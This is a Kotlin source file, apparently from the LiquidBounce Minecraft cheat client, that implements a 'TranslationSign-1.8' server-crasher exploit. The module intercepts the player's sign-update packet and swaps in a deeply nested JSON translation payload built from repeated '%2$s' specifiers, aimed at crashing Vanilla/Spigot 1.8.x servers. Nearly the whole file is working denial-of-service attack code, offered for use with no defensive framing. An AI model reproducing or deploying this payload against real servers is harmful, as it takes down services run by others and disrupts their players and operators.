package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.event.events.PacketEvent
import net.ccbluex.liquidbounce.event.handler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.*
import net.minecraft.network.packet.c2s.play.UpdateSignC2SPacket

/**
 * Translation sign exploit
 * Works on Vanilla/Spigot 1.8.x
 *
 * Originally found by https://github.com/Outfluencer and then found by me (cuddlycatgirl) and some others.
 */
object TranslationSign18Exploit : Choice("TranslationSign-1.8") {

    override val parent: ChoiceConfigurable<Choice>
        get() = ModuleServerCrasher.exploitChoices

    private const val TEXT = "{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
        "\"with\":[\"a\",\"a\"]}]}]}]}]}]}]}]}"

    @Suppress("unused")
    private val packetHandler = handler<PacketEvent> { event ->
        val original = event.packet

        if (original is UpdateSignC2SPacket) {
            if (!usesViaFabricPlus) {
                chat(markAsError(ModuleServerCrasher.message("signExploit.missingProtocolTranslator")))
                return@handler
            }

            if (!isEqual1_8) {
                chat(markAsError(ModuleServerCrasher.message("signExploit.wrongProtocolVersion")))
                return@handler
            }

            runCatching {
                send1_8SignUpdate(original.pos, arrayOf(
                    TEXT,
                    TEXT,
                    TEXT,
                    TEXT
                ))
                event.cancelEvent()
            }.onFailure {
                chat(markAsError("${it.javaClass.name}: ${it.message}"))
            }.onSuccess {
                chat(regular(ModuleServerCrasher.message("signExploit.alteredSignPacket")))
            }

        }
    }

}
